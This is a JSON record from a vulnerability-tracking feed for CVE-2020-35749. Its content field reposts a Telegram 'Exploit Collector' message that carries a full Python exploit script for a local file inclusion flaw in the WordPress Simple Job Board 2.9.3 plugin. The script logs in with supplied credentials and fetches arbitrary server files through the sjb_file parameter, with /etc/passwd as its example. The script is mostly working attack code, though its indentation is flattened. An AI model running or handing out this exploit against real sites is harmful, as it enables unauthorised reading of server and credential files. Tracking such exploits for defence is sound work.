{"uuid": "57f521f1-20fc-4761-870a-e3038ff4ad9d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2020-35749", "type": "seen", "source": "https://t.me/hacking_Attack/42047", "content": "Exploit Collector\nWordPress Simple Job Board 2.9.3 Local File Inclusion\n\nhttps://2.bp.blogspot.com/-n3YJZo98ptc/WWlvfHNo4ZI/AAAAAAAAIP8/W2JyxBpYTHMTjkJx5zl91eYOlgUDpw8egCLcBGAs/s1600/h84.png \nWordPress Simple Job Board plugin version 2.9.3 suffers from a local file inclusion vulnerability.\n\nMD5 | e059abbfdfefc909ce027e4265e3e84b\n\nDownload\n# Exploit Title: Wordpress Plugin Simple Job Board 2.9.3 - Local File Inclusion\n# Date: 2022-02-06\n# Exploit Author: Ven3xy\n# Vendor Homepage: https://wordpress.org/plugins/simple-job-board/\n# Software Link: https://downloads.wordpress.org/plugin/simple-job-board.2.9.3.zip\n# Version: 2.9.3\n# Tested on: Ubuntu 20.04 LTS\n# CVE : CVE-2020-35749\nimport requests\nimport sys\nimport time\n\nclass color:\nHEADER = '\\033[95m'\nIMPORTANT = '\\33[35m'\nNOTICE = '\\033[33m'\nOKBLUE = '\\033[94m'\nOKGREEN = '\\033[92m'\nWARNING = '\\033[93m'\nRED = '\\033[91m'\nEND = '\\033[0m'\nUNDERLINE = '\\033[4m'\nLOGGING = '\\33[34m'\ncolor_random=[color.HEADER,color.IMPORTANT,color.NOTICE,color.OKBLUE,color.OKGREEN,color.WARNING,color.RED,color.END,color.UNDERLINE,color.LOGGING] \ndef banner():\nrun = color_random[6]+'''\\nY88b         /                888~~                     888          ,e,   d8 \nY88b       /  888-~88e       888___ Y88b  /  888-~88e  888  e88~-_   \"  _d88__ \nY88b  e  /   888  888b ____ 888     Y88b/   888  888b 888 d888   i 888  888 \nY88bd8b/    888  8888      888      Y88b   888  8888 888 8888   | 888  888 \nY88Y8Y     888  888P      888      /Y88b  888  888P 888 Y888   ' 888  888 \nY  Y      888-_88\"       888___  /  Y88b 888-_88\"  888  \"88_-~  888  \"88_/ \n888                                888                              \\n'''\nrun2 = color_random[2]+'''\\t\\t\\t(CVE-2020-35749)\\n''' \nrun3 = color_random[4]+'''\\t{ Coded By: Ven3xy  | Github: https://github.com/M4xSec/ }\\n\\n'''\nprint(run+run2+run3) \nif (len(sys.argv) != 5):\nbanner()\nprint(\"[!] Usage   : ./wp-exploit.py <target_url<file_path<user<pass\")\nprint(\"[~] Example : ./wp-exploit.py http://target.com:8080/wordpress/ /etc/passwd admin admin\")\nexit()\n\nelse:\nbanner()\nfetch_path = sys.argv[2]\nprint (color_random[5]+\"[+] Trying to fetch the contents from \"+fetch_path)\ntime.sleep(3)\ntarget_url = sys.argv[1]\nusernamex = sys.argv[3]\npasswordx = sys.argv[4]\nprint(\"\\n\")\nlogin = target_url+\"wp-login.php\"\nwp_path = target_url+'wp-admin/post.php?post=application_id&action=edit&sjb_file='+fetch_path\nusername = usernamex\npassword = passwordx\n\nwith requests.Session() as s:\nheaders = { 'Cookie':'wordpress_test_cookie=WP Cookie check',\n'User-Agent':'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/11.1.2 Safari/605.1.15' }\n\npost_data={ 'log':username, 'pwd':password, \n'wp-submit':'Log In','redirect_to':wp_path, \n'testcookie':'1'\n} \n\ns.post(login, headers=headers, data=post_data)\nresp = s.get(wp_path)\n\nout_file = open(\"output.txt\", \"w\")\nprint(resp.text, file=out_file)\nout_file.close()\nprint(color_random[4]+resp.text)\nout = color_random[5]+\"\\n[+] Output Saved as: output.txt\\n\"\nprint(out)\n\n\nSource:packetstormsecurity.com", "creation_timestamp": "2026-09-01T20:01:56.610606Z"}